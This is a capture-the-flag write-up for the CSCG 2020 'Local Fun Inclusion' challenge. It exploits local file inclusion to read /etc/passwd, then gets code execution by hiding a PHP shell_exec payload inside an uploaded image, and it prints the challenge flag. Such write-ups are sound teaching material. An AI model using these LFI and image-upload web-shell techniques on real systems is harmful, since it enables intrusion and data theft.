CSCG 2020: Local Fun Inclusion


Opening the given URL we can find a simple image upload form.

If we upload an image, we get a URL where we can view the image. An example for such an URL is http://lfi.hax1.allesctf.net:8081/index.php?site=view.php&image=uploads/eeaa62a2f95fc8c12d765e5b8cdfff81.png. We can try to upload a php shell, but there are some restrictions, so this wont work easily. If we take a look at the path, we can see that the file view.php is called via the site parameter. This looks like a local file inclusion. To verify the vulnerability we can try to read /etc/passwd with a request tp http://lfi.hax1.allesctf.net:8081/index.php?site=/etc/passwd. This gives us the following output.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false

To get an RCE we can append php code to an image, upload the image and include the file via the LFI. We start with an simple ls.

<?php
    echo "<pre></pre>";
    $output = shell_exec('ls -lah');
    echo "<pre>$output</pre>";
?>

This gives us a list of the directory contents.

total 16K
drwxr-xr-x. 5 root     root      109 Mar  2 22:51 .
drwxr-xr-x. 1 www-data www-data   30 Mar  2 23:16 ..
drwxr-xr-x. 2 root     root      168 Mar  2 22:51 css
-rw-r--r--. 1 root     root       57 Mar  2 22:51 flag.php
-rwxr-xr-x. 1 root     root     1.8K Mar 11 12:33 index.php
drwxr-xr-x. 2 root     root      108 Mar  2 22:51 js
-rwxr-xr-x. 1 root     root     2.8K Mar 11 12:33 upload.php
drwxr-xr-x. 2 www-data www-data 9.8K Jun 18 23:40 uploads
-rwxr-xr-x. 1 root     root      310 Mar  2 22:51 view.php

We can find flag.php here. A simplecat did not work for me, so I opened the file in PHP using another image.

<?php
    echo "<pre></pre>";
    $output = shell_exec('ls -lah');
    echo "<pre>$output</pre>";
    if ($fh = fopen('flag.php', 'r')) {
        while (!feof($fh)) {
            $line = fgets($fh);
            echo $line;
        }
        fclose($fh);
    }
?>

To read the flag, we have to tale a look at the html source code, because the flag is in comment tags. CSCG{G3tting_RCE_0n_w3b_is_alw4ys_cool}